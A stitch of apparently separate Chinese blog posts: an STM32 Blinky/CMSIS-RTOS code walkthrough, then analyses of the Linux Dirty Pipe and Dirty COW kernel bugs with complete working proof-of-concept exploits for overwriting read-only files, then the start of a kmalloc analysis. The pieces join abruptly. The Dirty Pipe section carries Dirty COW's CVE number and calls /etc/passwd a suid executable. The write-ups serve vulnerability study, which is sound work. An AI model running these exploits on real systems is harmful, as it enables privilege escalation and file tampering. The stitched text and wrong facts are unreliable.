打开Blinky项目,Source Files中只有一个Blinky.c文件,包含这个demo的主要逻辑。

下面简述这个demo的功能。

开发板下方左右各有一个按钮,左边蓝色右边黑色(黑色为复位按钮)。在MCU正上方有三个User LED,分别为LD1、LD2、LD3。将开发板上电后(USB应插入上面的USB接口而不是下面,插入后,该接口右边的COM指示灯亮起红灯,User LED右边的PWR指示灯亮起绿灯表示已经供电),在用户无操作时,LD1到LD3依次亮起绿、蓝、红三色灯,每一次点亮持续0.5s,随后熄灭,等待0.5秒后亮起下一个灯,一次循环为3s时间。在循环过程中,如果用户按下蓝色按钮,则循环暂停,正在点亮的灯会持续点亮,如果灯全部熄灭则会持续熄灭。松开按钮后循环继续进行。如果用户按下黑色按钮,循环立即停止并将状态返回至循环开始。黑色按钮不松开时循环暂停,松开后循环重新开始。黑色按钮的优先级高于蓝色按钮,如果两个按钮均按下,则循环重置。

main.c

这个项目使用了STM32 CubeMX自动构建项目,它能够为STM32项目提供初始化代码的模板,用户只需要在该模板基础上进行开发即可。不过我们这里暂且不研究这个模板的使用,主要还是以代码为主。

在main.c中,最重要的就属main函数了。在blinky中,由于只需要完成用户LED的简单点亮操作,因此不需要将进行多余的初始化操作。

1
2
3
4
5
6
7
8
9
10
11
int main(void)
{
HAL_Init();
SystemClock_Config();
SystemCoreClockUpdate();
MX_GPIO_Init();
osKernelInitialize();
osThreadNew(app_main, NULL, &app_main_attr);
osKernelStart();
while (1){}
}

这里基本都是一些与初始化相关的函数。HAL_Init用于初始化外设,下面两个与系统时钟相关,MX_GPIO_Init初始化GPIO引脚,随后osKernelInitialize是操作系统的初始化,这里的操作系统指的是封装了CMSIS-OS的FreeRTOS。CMSIS-RTOS是一层可以封装在不同RTOS上的一个API层,能够为用户提供统一的API,便于编程。这里进行初始化之后调用了osThreadNew函数创建了一个线程,线程执行的函数是app_main,参数为NULL,即没有参数,线程属性为&app_main_attr。线程属性定义了这个线程拥有的栈空间地址及大小,后面在Blinky.c中可以找到。随后osKernelStart即启动OS内核,开始执行用户线程。

Blinky.c

Blinky.c的内容并不多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
/*----------------------------------------------------------------------------
* Name: Blinky.c
* Purpose: LED Flasher
*----------------------------------------------------------------------------
* This file is part of the uVision/ARM development tools.
* This software may only be used under the terms of a valid, current,
* end user licence from KEIL for a compatible version of KEIL software
* development tools. Nothing else gives you the right to use this software.
*
* This software is supplied "AS IS" without warranties of any kind.
*
* Copyright (c) 2017-2021 Keil - An ARM Company. All rights reserved.
*----------------------------------------------------------------------------*/

#include <stdio.h>

#include "main.h"
#include "Board_LED.h" /* ::Board Support:LED */
#include "Board_Buttons.h" /* ::Board Support:Buttons */

#include "RTE_Components.h" /* Component selection */

// Main stack size must be multiple of 8 Bytes
#define APP_MAIN_STK_SZ (512U)
uint64_t app_main_stk[APP_MAIN_STK_SZ / 8];
const osThreadAttr_t app_main_attr = {
.stack_mem = &app_main_stk[0],
.stack_size = sizeof(app_main_stk)
};

static volatile uint32_t delay_val = 500U;

static osThreadId_t tid_thrLED; /* Thread id of thread: LED */
static osThreadId_t tid_thrBUT; /* Thread id of thread: BUT */


/*----------------------------------------------------------------------------
thrLED: blink LED
*----------------------------------------------------------------------------*/
__NO_RETURN static void thrLED(void *argument) {
uint32_t led_max = LED_GetCount();
uint32_t led_num = 0U;

(void)argument;

for (;;) {
osThreadFlagsWait(0x0001U, osFlagsWaitAny ,osWaitForever);
LED_On(led_num); /* Turn specified LED on */
osThreadFlagsWait(0x0001U, osFlagsWaitAny ,osWaitForever);
LED_Off(led_num); /* Turn specified LED off */

led_num++; /* Change LED number */
if (led_num >= led_max) {
led_num = 0U; /* Restart with first LED */
}
}

}

/*----------------------------------------------------------------------------
thrBUT: check button state
*----------------------------------------------------------------------------*/
__NO_RETURN static void thrBUT(void *argument) {
uint32_t button_msk = (1U << Buttons_GetCount()) - 1U;

(void)argument;

for (;;) {
osDelay(delay_val); /* Wait */
while (Buttons_GetState() & (button_msk)); /* Wait while holding USER button */
osThreadFlagsSet(tid_thrLED, 0x0001U);
}

}

/*----------------------------------------------------------------------------
* Application main thread
*---------------------------------------------------------------------------*/
__NO_RETURN void app_main (void *argument) {

(void)argument;

LED_Initialize(); /* initalize LEDs */
Buttons_Initialize(); /* initalize Buttons */

tid_thrBUT = osThreadNew (thrBUT, NULL, NULL); /* create BUT thread */
if (tid_thrBUT == NULL) { /* add error handling */ }

tid_thrLED = osThreadNew (thrLED, NULL, NULL); /* create LED thread */
if (tid_thrLED == NULL) { /* add error handling */ }

osThreadExit();
}

首先看到app_main_attr,这里定义了栈空间以及大小,使用了一个512字节的预分配空间。

然后是app_main函数,这是线程的入口点。其中首先对LED灯和按钮进行初始化,随后创建了两个子线程,分别执行thrBUT函数和thrLED函数,这两个函数没有指定栈空间,前者控制按钮,后者控制LED灯。

thrBUT中有死循环,首先延时500ms,然后循环判断Buttons_GetState() & button_msk的值,为0时退出循环并设置tid_thrLED的标志位为1,其中tid_thrLED为LED线程的线程标志。Buttons_GetState函数会返回一个int值,每一位都代表一个按钮的按下状态。在上面的开发板中只有一个用户按钮(Reset不算),因此该函数的返回值只能为0或1。button_msk的值为1,根据逻辑可以推断出:当按钮按下时,Buttons_GetState的返回值为1,否则为0。当用户没有操作时,内部的while循环总是不循环,即每过0.5s就将LED线程的标志位设置为1。

thrLED中也存在一个死循环,首先调用osThreadFlagsWait,当该线程的标志位中有0x1,选项是osFlagsWaitAny,即永远(osWaitForever)等待标志位的最低位被设置为1,当检测到标志位被置位时,立即退出并将标志位复位为0。等待结束后打开LED灯,随后继续等待,等待后关闭LED灯,更换目标LED灯,继续循环。

整个过程非常清晰,延时的时间长度由thrBUT函数决定,当用户按下按钮时,相当于thrBUT函数阻塞在了内部的while循环中,暂时无法进行下一次置位。两个线程是一个“生产者与消费者”的关系,“消费”的对象就是LED线程的标志位。

通过上面的示例,我们对CMSIS-RTOS中不同线程之间的交互有了一定的了解。不同线程之间的交互可以通过标志位完成,以控制不同线程之间的逻辑时序。当然很显然仅通过这种方式进行交互还不够,如果需要数据传输则需要另外的方式。

逆向分析

除了分析C代码之外,简单分析下汇编代码也是有必要的。在Github中可以搜索到一个SVD-loader项目,它是一个Ghidra插件,能够在输入svd文件后自动分析文件中的外设定义,并将外设与对应内存建立联系,大大提高汇编代码及反汇编C代码的可读性。

每一个市面的MCU都可以找到其对应的svd文件,其中记录有所有外设的信息。最为重要的是所有外设映射的内存地址空间。在程序中,我们只能通过内存和寄存器来进行数据的存取,而无法直接与外设交互。即使是最底层的库,也不能脱离内存玩外设。为了解决这个问题,需要对MCU进行额外的设计,将外设与固定的内存地址建立映射关系。当代码访问到外设映射的内存地址时,MCU可以通过硬件找到外设对应的接口并完成相应操作。

Dirty Pipe漏洞较Dirty COW发现的时间较晚,但也正因为此,它影响了更多的Linux发行版。既然同是带Dirty的漏洞,这个漏洞就同样是与条件竞争有关。

漏洞:CVE-2016-5195

影响Linux版本:>5.8, <5.16.11 / 5.15.25 / 5.10.102

漏洞类型:竞争条件

使用Linux样本:5.16.10

编译环境:Ubuntu 20.04

参考资料:

A. 前置知识

A.1 Linux管道基础

Linux管道是Linux进程间通信的一种方式。它的表现形式比较容易理解。试想一下,将我们带入到Linux开发者的身份中来,如果我们需要设计进程之间通信的方式,最容易想到的是什么?是的,我们可以将管道以文件的形式进行设计:

  • 创建管道可以通过创建文件来完成,这个文件与一般的文件不同,可以设置读写权限。
  • 若进程A与B之间需要进行通信,假设只有A发送数据给B,即单方向通信,那么通信步骤可以这样设计:
    • 进程A需要传输数据时,向管道文件写入数据,此时文件中保存的是进程A的数据。
    • 进程B需要接受数据时,向管道文件读取数据,读取完成的数据在管道文件中自动删除,保证文件中只剩下未被读取的数据。

从上面的示例来看,这是一种典型的“生产者-消费者”模式,相信大家在学习线程的基础知识时已经了解过。当然为了实际使用的便捷考虑,最终的设计比上面的示例要复杂许多。

在Linux中有两类管道,一类是匿名管道,像shell命令中的’|'实际上就是创建了一个匿名管道,还有在程序内部父进程与子进程使用的一些管道为匿名管道。匿名管道由于没有命名,因此对外界是不可见的。另一类则是命名管道,这种管道有实际名字,可以在文件系统中被任何进程所访问,因此相较于匿名管道更为“开放”。

如果我们创建一个命名的管道文件,使用ls命令查看时,它的权限字符串以p开头,表示管道文件。打开这类文件产生的文件描述符不能被传入lseek中,因此可以想见管道文件的file_operationslseek字段为NULL

A.2 Linux管道内部机制

上面我们了解了Linux管道的基础知识,下面我们需要深入到Linux内核了解它的实现机制。

既然管道是以文件的形式存在,那么在文件系统中就必然存在它对应的inode,只不过这个inode没有表示实际文件,是一个虚拟的inode。

在Linux内核中,表示inode的结构体为@pipe_inode_info,在结构体@inode中有一个union字段,根据不同的文件类型有不同的结构体:

1
2
3
4
5
6
union {
struct pipe_inode_info *i_pipe;
struct cdev *i_cdev;
char *i_link;
unsigned i_dir_seq;
};

下面,我们通过pipe系统调用跟踪内核创建管道文件的过程。

pipe系统调用和pipe2都可以用于创建管道,唯一的区别是参数不同,pipe2可以多指定一个flags参数,主要用于管道操作的一些细节。

既然pipe系统调用可以返回两个整数文件描述符,那么我们实际上可以将其看做文件。既然是文件,那么在拥有文件描述符后必然就会拥有对应的file_operations实例。对于管道文件。它的file_operations@pipefifo_fops。其中定义了对管道的读操作应该调用pipe_read,写操作应该调用pipe_write。这两个函数与本漏洞密切相关,下面简单分析一下。

pipe_read

该函数传入两个参数,struct kiocb*以及struct iov_iter*,前者是kernel I/O control block的缩写,用于控制异步操作。后者为I/O vectors,可以用于封装多个I/O向量,能够处理多个缓冲区数据。

函数中的主要逻辑是一个大循环。这个循环的逻辑非常清晰,并且向我们展示了管道缓冲区的使用方式。Linux的管道缓冲区根据现实需求,应该被设计为一个队列。但Linux的设计却比一般的队列要优雅很多。首先,定义mask、start、end,标志缓冲区的总数,队列头部和队列尾部。根据代码逻辑可知,管道缓冲区的start始终不小于end,新的缓冲区从start处进入,从end处弹出。巧妙的是,Linux并不需要在队列头部到达最大缓冲区数量时将start重置为0,而是直接使用mask取模即可。另外,每一个缓冲区的长度不是固定的,定义了off和len,表示应该开始读取的位置以及剩余的数据长度。回到pipe_read中,每一次循环所做的实际上就是读取队尾的缓冲区并将其输出到read端,如果输出的字节数未达到read要求,则弹出最后的缓冲区进入下一次循环判断新的队尾。

pipe_write

写入的过程比读取要略微复杂一些。考虑到读取的效率问题,如果每一次写入都分配一个新的缓冲区,那么当单次写入数据较少时,整个队列缓冲区就会变得非常小,效率也会大大降低。因此当缓冲区不为空时,写入进程会尝试将数据合并到一个缓冲区内以避免缓冲区过小的问题。在Linux中,一个缓冲区以一页为单位。write进程会尽量填满缓冲区的一页内容。需要注意的是,可以合并的页必须有PIPE_BUF_FLAG_CAN_MERGE标志位才能够进行合并,这个标志位意味着该页可写且可合并。如果缓冲区没有设置该位,说明这个缓冲区还没有被初始化,需要首先分配一个物理页并设置该标志位。

splice系统调用

这个系统调用能够将文件读取到管道中,可以指定文件偏移以及输出的偏移。在本漏洞中,起重要作用的是将文件内容读取到管道的流程。

这个系统调用的函数调用链较长,在do_splice中会判断数据流向的方向,随后文件->管道与管道->文件将走向不同的数据流。在file_operations中,内核专门定义了两个用于splice的函数指针:splice_readsplice_write,用于管道与文件的交互。对于一个普通文件,应该在ext4_file_operations中查找对应的函数,为generic_file_splice_read

1
2
3
4
5
6
7
8
9
10
11
12
13
sys_splice
__do_splice
do_splice
splice_file_to_pipe
do_splice_to
generic_file_splice_read
call_read_iter
ext4_file_read_iter
generic_file_read_iter
filemap_read
copy_pages_to_iter
__copy_to_page_iter
__copy_to_page_iter_pipe

而在@__copy_to_page_iter_pipe中,可以清晰看到,文件映射页被直接作为缓冲区使用。但在查看相关执行流程时,我们并没有看到文件映射页面被载入到缓冲区时重置PIPE_BUF_FLAG_CAN_MERGE标志位的情况,也就是说,如果管道缓冲区已经被完全读写过一次,就可以通过向管道写入数据的方式向文件映射页写入数据!

通过上面的分析,我们不难发现,Linux内核开发人员为了提高效率,选择在文件映射后直接将映射页作为缓冲区,但却并没有移除写权限。See?这看似是一种非常低级的开发安全问题,但却能实实在在地存在于Linux内核中并影响众多发行版。

通过该漏洞,我们可以修改只读文件。在普通用户权限下,可以通过修改/etc/passwd这种具有suid权限的可执行文件完成提权,如将/etc/passwd修改执行/bin/sh等。

但本漏洞利用有一定的限制,考虑到要将文件调入,因此至少需要读取文件的第1个字节,故文件的第1个字节不允许修改;不能通过该漏洞将文件变大;最多只能写入1页内容。在本文的主要参考资料中,/etc/passwd被修改为一个小型elf程序而不是shell文件,用于执行/bin/sh。

B. poc

poc来源:资料(在此%一下Arttnba师傅)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error : \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

int main(int argc, char **argv, char **envp)
{
long page_size;
size_t offset_in_file;
size_t data_size;
int target_file_fd;
struct stat target_file_stat;
int pipe_fd[2];
int pipe_size;
char *buffer;
int retval;

// checking before we start to exploit
if (argc < 4)
{
puts("[*] Usage: ./exp target_file offset_in_file data");
exit(EXIT_FAILURE);
}

page_size = sysconf(_SC_PAGE_SIZE);
offset_in_file = strtoul(argv[2], NULL, 0);
if (offset_in_file % page_size == 0)
errExit("Cannot write on the boundary of a page!");

target_file_fd = open(argv[1], O_RDONLY);
if (target_file_fd < 0)
errExit("Failed to open the target file!");

if (fstat(target_file_fd, &target_file_stat))
errExit("Failed to get the info of the target file!");

if (offset_in_file > target_file_stat.st_size)
errExit("Offset is not in the file!");

data_size = strlen(argv[3]);
if ((offset_in_file + data_size) > target_file_stat.st_size)
errExit("Cannot enlarge the file!");

if (((offset_in_file % page_size) + data_size) > page_size)
errExit("Cannot write accross a page!");

// exploit now...
puts("\033[34m\033[1m[*] Start exploiting...\033[0m");

/*
* prepare the pipe, make every pipe_buffer a MERGE flag
* Just write and read through
*/
puts("\033[34m\033[1m[*] Setting the PIPE_BUF_FLAG_CAN_MERGE for each buffer in pipe.\033[0m");
pipe(pipe_fd);
pipe_size = fcntl(pipe_fd[1], F_GETPIPE_SZ);
buffer = (char*) malloc(page_size);

for (int size_left = pipe_size; size_left > 0; )
{
int per_write = size_left > page_size ? page_size : size_left;
size_left -= write(pipe_fd[1], buffer, per_write);
}

for (int size_left = pipe_size; size_left > 0; )
{
int per_read = size_left > page_size ? page_size : size_left;
size_left -= read(pipe_fd[0], buffer, per_read);
}

puts("\033[32m\033[1m[+] Flag setting has been done.\033[0m");

/*
* Use the splice to make the pipe_buffer->page
* become the page of the file mapped, by read
* a byte from the file accross the splice
*/
puts("\033[34m\033[1m[*] Reading a byte from the file by splice.\033[0m");
offset_in_file--; // we read a byte, so offset should minus 1
retval = splice(target_file_fd, &offset_in_file, pipe_fd[1], NULL, 1, 0);
if (retval < 0)
errExit("splice failed!");
else if (retval == 0)
errExit("short splice!");
puts("\033[32m\033[1m[+] File splice done.\033[0m");

/*
* Now it comes to the time of exploit:
* the mapped page of file has been in pipe_buffer,
* and the PIPE_BUF_FLAG_CAN_MERGE is still set,
* just a simple write can make the exploit.
*/
retval = write(pipe_fd[1], argv[3], data_size);
if (retval < 0)
errExit("Write failed!");
else if (retval < data_size)
errExit("Short write!");

puts("\033[32m\033[1m[+] EXPLOIT DONE!\033[0m");
}

Dirty COW脏牛漏洞是一个非常有名的Linux竞争条件漏洞,虽然早在2016年就已经被修复,但它依然影响着众多古老版本的Linux发行版,如果需要了解Linux的COW,依然非常值得学习。

漏洞:CVE-2016-5195
影响Linux版本:>2.6.22, <4.8.3 / 4.7.9 / 4.4.26
漏洞类型:竞争条件
使用Linux样本:4.8.2

注意:4.8.2版本较低,如果使用较高版本的gcc编译,可能会产生一些难以解决的问题,如一直重启等,这里使用的是Ubuntu 16.04中的gcc完成编译,在22.04的qemu中可以正常运行。

A. poc

poc来源:资料

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

struct stat dst_st, fk_st;
void * map;
char *fake_content;

void * madviseThread(void * argv);
void * writeThread(void * argv);

int main(int argc, char ** argv)
{
if (argc < 3)
{
puts("usage: ./poc destination_file fake_file");
return 0;
}

pthread_t write_thread, madvise_thread;

int dst_fd, fk_fd;
dst_fd = open(argv[1], O_RDONLY);
fk_fd = open(argv[2], O_RDONLY);
printf("fd of dst: %d\nfd of fk: %d\n", dst_fd, fk_fd);

fstat(dst_fd, &dst_st); // get destination file length
fstat(fk_fd, &fk_st); // get fake file length
map = mmap(NULL, dst_st.st_size, PROT_READ, MAP_PRIVATE, dst_fd, 0);

fake_content = malloc(fk_st.st_size);
read(fk_fd, fake_content, fk_st.st_size);

pthread_create(&madvise_thread, NULL, madviseThread, NULL);
pthread_create(&write_thread, NULL, writeThread, NULL);

pthread_join(madvise_thread, NULL);
pthread_join(write_thread, NULL);

return 0;
}

void * writeThread(void * argv)
{
int mm_fd = open("/proc/self/mem", O_RDWR);
printf("fd of mem: %d\n", mm_fd);
for (int i = 0; i < 0x100000; i++)
{
lseek(mm_fd, (off_t) map, SEEK_SET);
write(mm_fd, fake_content, fk_st.st_size);
}

return NULL;
}

void * madviseThread(void * argv)
{
for (int i = 0; i < 0x100000; i++){
madvise(map, 0x100, MADV_DONTNEED);
}

return NULL;
}

简单解释一下,这个程序需要两个参数,第一个参数是需要被修改的只读文件,第二个参数是可读的其他文件。执行后第一个文件中的内容将会被改写为第二个文件的内容。程序会通过mmap系统调用将第一个文件映射到内存空间,随后创建两个线程,一个线程循环通过write打开当前进程的mem虚拟文件对映射的内存进行写操作,一个线程循环调用madvise系统调用提示内核:这块映射的内存空间不再需要。这样,这块映射内存会在某个时刻被内核释放掉。

那么这个漏洞的原理是什么呢?简单看看上面的参考博客,发现要理解起来还是有一定难度的。

B. 前置知识

B.1 页表与缺页异常

在操作系统这门课中我们学到,现代操作系统对于内存地址有一定的处理。内存被分为若干页,在进程中被处理的内存页均为虚拟内存页,其地址与物理内存页不同,因此需要有一个物理页和虚拟页的映射表。这个映射表由内存管理单元MMU管理,每一个进程都有一个映射表。

对于现代操作系统,页表一般是多级的,这样做的好处是可以节省内存空间,并降低页表内存空间的连续性。什么意思呢?假如页表只有一级,对于一个64位地址,最低12位作为页内偏移,那么高52位都将作为页表的索引地址。为了效率考虑,MMU只能使用数组进行索引,那么这样的话就会有252个页表项,而其中绝大部分都是空的,会大大浪费内存空间,且这块空间是连续的。而如果使用二级页表,中间12位为二级页表索引,最高40位为一级页表索引,这样理论上只有240个一级页表项,它们连续存储的空间消耗大大小于只使用一级页表的情况(虽然还是很大)。而当一个一级页表对应的地址范围都无效时,内存中完全可以不保存它所对应的二级页表,将二级页表的物理地址设置为0表示无效即可,这样大大节省了空间。否则,一级页表项保存其下的二级页表地址

目前主流x86 Linux系统使用4级(多数)或5级页表,对于4级页表,索引64位虚拟地址空间时,假设最低12位作为页内偏移,每一级页表项负责13位(实际不是这样安排的),即一个一级页表项下面有213个二级页表项,一个二级页表项下面有213个三级页表项,以此类推。那么这样一共就会有213个一级页表。假设一个进程只有一个有效的虚拟内存页,那么四级页表系统只需要保存:213个一级页表项(其中只有有效虚拟内存页对应的一级页表项具有有效的二级页表地址)、213个二级页表项(其中只有有效虚拟内存页对应的二级页表项具有有效的三级页表地址)、213个三级页表项(…)、213个四级页表项(…),共215个页表项,如果一个页表项的大小为0x10字节,那么一共就只有320KB用来保存页表项,对于现在的内存来说完全够用。

由上面的分析可知,映射表中通常只会保存很少的页表项PTE(Page Table Entry),页表的级数越多,映射访问需要访存的次数越多,效率越低。为此,人们为现代OS提供了TLB进行访存提速,它相当于一个能够动态记录页表项且并行查找的硬件,这不是本文的重点,略过。

如果CPU访问了一个虚拟地址,而这个虚拟地址不存在于任何一个PTE中,或者进行的访问操作(读或写)在这个页中没有权限进行,那么MMU会向OS报缺页异常

缺页异常一共分为3类:硬缺页、软缺页以及无效缺页。前两种都是有效的缺页,可以被合理处理;而后面一种是真正的异常,会导致进程立即中止。这三种异常到底什么意思呢?

  • 硬缺页异常:物理内存没有对应的页帧。什么意思?比如你的笔记本内存不够,你设置了磁盘的内存交换,让OS在物理内存不足时将暂时没有使用的内存内容移动到磁盘中,空余出内存存放其他的重要数据。这样,原来的内存数据就暂时不在内存之中,即没有对应的页帧。此类异常的处理通常需要较大开销。(实际上的可能场景有三种,具体内容详见资料,很详细很长但是非常复杂,在此%一下作者,这是真大佬,没见过对内核内存管理理解这么透彻的)
  • 软缺页异常:物理内存有对应页帧。这类大多是发生在写时复制COW时,当父进程fork出一个子进程后,子进程需要对内存空间进行修改,那么OS就需要将父进程的部分内存复制一份,随后将这个新的页填入到子进程页表的对应位置。
  • 无效缺页异常:要访问的虚拟内存地址原本就是无效的,本来就不应该有物理内存映射。此类问题会报段错误并中止进程。

B.2 /proc/self/mem的写入流程

(下面的函数名前面加@的带链接可跳转查看)

这是一个/proc目录下的特殊文件,/proc/self表示当前进程,而mem则作为一个虚拟文件,表示当前进程的内存空间。

我们都知道,当用户程序通过open函数打开一个文件时,内核会为用户程序返回一个文件描述符,用户程序后续可通过这个文件描述符整数对文件进行操作。为了将文件操作与不同文件(普通文件、进程文件、设备文件等)解耦合,Linux设计了一个file_operations结构体,对文件描述符进行读、写等操作时,在内核中实际上是在执行file_operations中的读写函数。

而对于/proc目录下表示内存的文件,Linux内核定义了属于这些文件的file_operations

1
2
3
4
5
6
7
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};

也即打开/proc/self/mem后,我们调用write函数实际上在内核调用的是mem_write。通过查看源码发现,它实际上调用的是@mem_rw

  • 内核首先会通过__get_free_page获得一个临时的空闲内存页
  • 使用copy_from_user将当前进程的内存数据复制到临时页。
  • 调用access_remote_vm对临时内存进行访问,完成读写操作。

而对于access_remote_vm(全部逻辑在@__access_remote_vm),主要操作包括:

  • 调用down_read为内存上读锁。
  • 进入循环:
    • 调用get_user_pages_remote函数,获取要读或写的内存页的物理地址。
    • 如果内存页获取失败,进行其他处理。
    • 内存页获取成功后,每一次以一页为单位进行读或写操作,首先计算要操作的内存大小,随后调用kmap将要操作的内存映射到一个内核内存页中。
    • 如果操作为写,则调用copy_to_user_page向映射的内存页写入数据,并设置内存页为脏页(set_page_dirty_lock
    • 调用kunmap解除映射,并删除cache中的对应项。
  • 调用up_read为内存解锁读锁。

那么这里面的重点就在于get_user_pages_remote,它是如何获取物理地址的。调用链为:

1
2
3
get_user_pages_remote
__get_user_pages_locked
__get_user_pages

主要逻辑都在后面两个函数中。首先看到@__get_user_pages_locked。这个函数中有一个大循环,其中调用了两次@__get_user_pages,这个函数内部的逻辑大概为:

  • 定义一个vm_area_struct实例vma初始化为空。vma表示虚拟内存区域,通常与一页或多页相关联。
  • 一个大循环。
    • 如果vma为空或要获取的地址超过了vma的范围:
      • 调用find_extend_vma函数获取vma
      • 进行其他的处理,完成后返回或继续进行下一页处理。
    • 调用follow_page_mask获取给定虚拟地址对应的物理页。
    • 如果没有获取到,可能原因是对应物理页不存在或没有写权限:
      • 调用faultin_page进行缺页异常处理。
      • 如果处理成功则重试,跳转到调用follow_page_mask之前;否则返回或处理下一页。
    • 否则如果页表不存在,则处理下一页。
    • 否则如果返回错误值,立即返回。
    • 进行页面的其他处理,刷新计数器。

下面看到@faultin_page。这个函数里涉及大量针对flags参数的判断与修改,根据源码分析发现,传入这个函数的flags参数为FOLL_TOUCH | FOLL_REMOTE | FOLL_GET | FOLL_WRITE | FOLL_FORCE

  • 进行一系列判断与变量修改。
  • 调用handle_mm_fault处理缺页异常,分配有效物理内存页。
  • 根据handle_mm_fault函数返回值进行其他处理。
  • 如果需要写且有写权限,则去除flags中的FOLL_WRITE标志位。

在@handle_mm_fault中,首先检查虚拟内存的权限,如果发现虚拟内存无效会给出SIGSEGV信号并返回。主要逻辑在@__handle_mm_fault中。

__handle_mm_fault中,将会从一级页表PGD依次向下获取页目录,若分配失败,表示内存不足,会返回VM_FAULT_OOM。中间经过一系列处理后调用@handle_pte_fault继续进行处理。

handle_pte_fault中,由于上一级函数已经创建PMD三级页目录项,因此会进入第一个if语句将fe->pte设置为空,由此进入第二个if语句。根据代码分析可知,目前分析的调用链所处理的vma不是匿名vma,因此会调用@do_fault处理后直接返回,下面的代码不会执行。

do_fault中,由于我们处理的是写的异常,因此会跳过前两个判断,进入第三个if语句调用@do_cow_fault,即处理写时复制所导致的缺页异常。

do_cow_fault中:

  • 调用了alloc_page_vma函数分配一个新的内存页。
  • 调用__do_fault处理异常。
  • 调用alloc_set_pte函数将新分配的内存页更新到PTE中。

到这里,__get_user_pages函数就成功调入了这个内存页,并将其地址存放到了页表项中。随后会通过goto retry再一次调用follow_page_mask。在第二次调用中,由于内核能够找到相应的页表项,因此在handle_pte_fault中会执行后面的代码。后面由于需要进行写操作,因此会调用pte_write函数判断页面是否可写,这里显然是不可写。这样就会调用@do_wp_page并返回。

do_wp_page中,由于页面本身不可写,因此不能对页面进行共享,而是只能进行复制(使用wp_page_copy),而复制后的内存页只属于需要进行COW的进程,因此faultin_page会给予写权限,本次调用成功返回。随后follow_page_mask第三次来到retry标号处,随后就可以使用follow_page_mask成功获取一个符合权限的存在的内存页,COW流程结束。

B.3 madvise

madvise的一种易懂的理解是,我们用户给内核有关于某一段内存的使用建议,告诉内核应该如何使用某一段内存。建议分为多种,下面是Linux源码中的注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/*
* The madvise(2) system call.
*
* Applications can use madvise() to advise the kernel how it should
* handle paging I/O in this VM area. The idea is to help the kernel
* use appropriate read-ahead and caching techniques. The information
* provided is advisory only, and can be safely disregarded by the
* kernel without affecting the correct operation of the application.
*
* behavior values:
* ...
* MADV_DONTNEED - the application is finished with the given range,
* so the kernel can free resources associated with it.
* ...
*/

这里我们只关注MADV_DONTNEED这个选项,它表示应用程序已经不再需要这段内存,可以让内核调出这些内存页。注意调出不是释放,而是暂时不用。

C. 漏洞点

上面的分析中,尤其是COW的流程难以理解,需要细细咀嚼。

而这个著名CVE到底是如何产生的呢?

需要注意的是,我们进行映射的那个文件原本是不可写的,打开的时候也没有尝试获取写权限,但问题是,我们可以直接访问当前进程的内存空间虚拟文件/proc/self/mem,而这个文件是具有写权限的。

这就造成了一个问题:我通过打开这个虚拟文件对那块不可写的内存空间强行写入会怎样?这个问题我们在上面的分析中已经得到了答案——内核会通过COW机制让本次写操作写入的是那块映射内存空间的复制页,如果我们不同时使用madvise竞争,写入操作不会直接对映射内存写入。这样即满足了映射空间不可写的权限,也满足了写入的要求。

但现在,我们使用了madvise系统调用。如果我们在第二次调用follow_page_mask之后让madvise将本来分配到的内存页又给调出去了,这样的话第三次调用follow_page_mask就不能正常获取内存页,但此时保存页面权限的变量foll_flags已经添加了可写权限。因此follow_page_mask第三次调用会将原来的文件的只读映射副本重新调入(因为此时foll_flags已经添加了写权限,内核误以为原本映射的内存页可写),这就造成了条件竞争漏洞,最终在第四次调用follow_page_mask时获取到原来的只读副本并且能够成功写入。

D. 修复

经过了一番分析之后,我们总算是理解了这个著名漏洞的成因,即权限变量与内存页分离不同时存在导致可能产生条件竞争。那么要想修复这个问题,最为简单的方法就是将二者进行绑定,不使用临时变量判断页面的权限,而是直接将页面权限字段加入到内存页实例中,这样,即使madvise成功调出了原先只读的物理页,follow_page_mask获取到的也依然是只读的物理页。

从ChangeLog可知,Linus Torvalds解决这个问题的方式比上面的方式更简单,他添加了一个FOLL_COW常量,专门用来处理COW流程,当要写入的内存页成功申请后,为变量添加FOLL_COW而不是FOLL_WRITE,将二者区分开来,这样不必修改表示内存页的结构体本身。

本文笔者计划简要分析kmalloc以及kfree的主要分支流程。

注:本文分析使用的Linux版本为6.7.4.

kmalloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static __always_inline __alloc_size(1) void *kmalloc(size_t size, gfp_t flags)
{
if (__builtin_constant_p(size) && size) {
unsigned int index;

if (size > KMALLOC_MAX_CACHE_SIZE)
return kmalloc_large(size, flags);

index = kmalloc_index(size);
return kmalloc_trace(
kmalloc_caches[kmalloc_type(flags, _RET_IP_)][index],
flags, size);
}
return __kmalloc(size, flags);
}

